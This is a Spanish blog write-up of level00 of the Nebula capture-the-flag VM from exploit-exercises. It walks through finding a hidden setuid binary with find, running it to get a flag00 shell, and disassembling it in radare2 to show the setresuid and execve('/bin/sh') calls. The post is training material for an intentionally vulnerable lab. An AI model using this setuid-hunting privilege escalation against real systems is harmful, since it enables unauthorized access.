Pages

jueves, 19 de julio de 2018

Nebula CTF - level00

Nebula en exploit-exercises.com

Este es el comienzo de una serie de entradas o write-ups que publicaré con mis soluciones particulares a los retos de la plataforma Exploit Exercises, en concreto las máquinas virtuales Nebula, Protostar y Fusion, cuya complejidad irá ascenciendo en este mismo orden.

Al menos en las dos primeras máquinas (Nebula y Protostar), partiremos de un enfoque black-box (caja negra), por lo que en la medida de lo posible utilizaremos única y exclusivamente la información contenida dentro del propio servidor a atacar, obviando aquellas pistas o código fuente que la página web del reto nos proporciona. Esto nos ofrecerá un entorno más realista y así prodremos desarrollar nuestras habilidades de ingeniería inversa.

A pesar de que los primeros retos son extremadamente simples y pueden resolverse de forma directa, tomaremos el camino largo en la mayor parte de las ocasiones, de modo que podamos realizar un estudio completo y permitirá a los recién llegados familiarizarse con todas las herramientas necesarias, así como su función concreta dentro del análisis.

Tras descargar el archivo ISO correspondiente, configuramos una máquina virtual en VirtualBox con dos adaptadores, uno de ellos solo-anfitrión, de modo que podamos disponer de comunicación directa desde el host hacia el invitado (guest) y viceversa, y establecer una conexión SSH en caso de ser necesaria.

Máquina virtual Nebula en Virtual Box

Iniciamos la máquina y nos logueamos con nombre de usuario nebula y password nebula. Si necesitas configurar el teclado en español porque el mapeado no está como debería, entonces ejecuta sudo -s y password nebula, luego utiliza el comando dpkg-reconfigure keyboard-configuration y escoge los parámetros y el idioma correspondiente.

Configuración teclado en Nebula

El patrón a seguir en los próximos retos es muy sencillo, para cada nivel existe una pareja de usuarios. Por ejemplo en el primer ejercicio tenemos los usuarios level00 y flag00 Siempre nos loguearemos en el sistema como el primero de ellos y el objetivo será ejecutar el binario /bin/getflag como el segundo. Por ejemplo, si ejecutamos getflag como usuario level00 obtendremos el siguiente resultado:

getflag is executing in a non-flag account, this doesn’t count

Si lo ejecutamos como usuario flag00 en cambio…

You have successfully executed getflag on a target account

Y el reto estará superado. Habremos conseguido lo que se conoce como una “escalada de privilegios”. Ahora sí, manos a la obra con el primer nivel. Nos logueamos como usuario level00 y password level00 e investigamos el contenido del directorio del usuario flag00.

level00@nebula:~$ pwd
/home/level00
level00@nebula:~$ cd /home/flag00
level00@nebula:/home/flag00$ ls -al
total 5
drwxr-x--- 2 flag00 level00   66 2011-11-20 20:21 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag00 flag00   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag00 flag00  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag00 flag00   675 2011-05-18 02:54 .profile

No encontramos nada relevante. Lo primero, por lo tanto, es localizar en todo el sistema aquellos ficheros, preferiblemente ejecutables, cuyo propietario sea flag00 y que puedan contener alguna vulnerabilidad. En esta clase de retos, lo habitual es encontrar algún ejecutable con el bit setuid activado en los permisos, de modo que al lanzarlo, este gozará de los permisos que tiene su propietario. El comando find viene al rescate.

level00@nebula:/home/flag00$ find / -user flag00 -perm +4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
level00@nebula:/home/flag00$ ls -al /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00

stderr debe redirecionarse hacia el cubo de los bits para que la pantalla no se llene de errores de acceso a los directorios en los que no tenemos permisos de lectura. Desde luego el resultado parece interesante. Ejecutamos el binario y…

level00@nebula:/home/flag00$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:/home/flag00$ getflag
You have successfully executed getflag on a target account

Pwned!

Ejercicio extra para curiosos. Nos decargamos el binario en nuestra propia linux box mediante scp, (la versión cp del paquete SSH).

dpc@kernelinside:~$ scp level00@192.168.56.101:/bin/.../flag00 flag00
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  
                                    
    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


level00@192.168.56.101's password: 
flag00                                        100% 7358     7.5MB/s   00:00 

Y lo analizamos con radare2:

dpc@kernelinside:~$ r2 flag00
 -- Get a free shell with 'ragg2 -i exec -x'
[0x08048420]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)

[0x08048420]> s sym.main
[0x080484d4]> pdf
|           ;-- main:
/ (fcn) sym.main 123
|   sym.main (int arg_ch, int arg_10h);
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var uid_t local_4h @ esp+0x4
|           ; var uid_t local_8h @ esp+0x8
|           ; var int local_18h @ esp+0x18
|           ; var uid_t local_1ch @ esp+0x1c
|           ; DATA XREF from entry0 (0x8048437)
|           0x080484d4      push ebp
|           0x080484d5      mov ebp, esp
|           0x080484d7      and esp, 0xfffffff0
|           0x080484da      sub esp, 0x20
|           0x080484dd      call sym.imp.getegid
|           0x080484e2      mov dword [local_18h], eax
|           0x080484e6      call sym.imp.geteuid                       ; uid_t geteuid(void)
|           0x080484eb      mov dword [local_1ch], eax
|           0x080484ef      mov eax, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|           0x080484f3      mov dword [local_8h], eax
|           0x080484f7      mov eax, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|           0x080484fb      mov dword [local_4h], eax
|           0x080484ff      mov eax, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|           0x08048503      mov dword [esp], eax
|           0x08048506      call sym.imp.setresgid
|           0x0804850b      mov eax, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|           0x0804850f      mov dword [local_8h], eax
|           0x08048513      mov eax, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|           0x08048517      mov dword [local_4h], eax
|           0x0804851b      mov eax, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|           0x0804851f      mov dword [esp], eax
|           0x08048522      call sym.imp.setresuid
|           0x08048527      mov dword [esp], str.Congrats__now_run_getflag_to_get_your_flag ; [0x8048620:4]=0x676e6f43 ; "Congrats, now run getflag to get your flag!" ; const char *s
|           0x0804852e      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048533      mov eax, dword [arg_10h]                   ; [0x10:4]=-1 ; 16
|           0x08048536      mov dword [local_8h], eax
|           0x0804853a      mov eax, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x0804853d      mov dword [local_4h], eax
|           0x08048541      mov dword [esp], str.bin_sh                ; [0x804864c:4]=0x6e69622f ; "/bin/sh"
|           0x08048548      call sym.imp.execve
|           0x0804854d      leave
\           0x0804854e      ret

Se observa perfectamente hacia el final de la función main() una llamada a puts() con el mensaje de felicitación y otra a execve() con la cadena “/bin/sh” como uno de sus parámetros, lo que lanza una shell con permisos de usuario flag00.

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...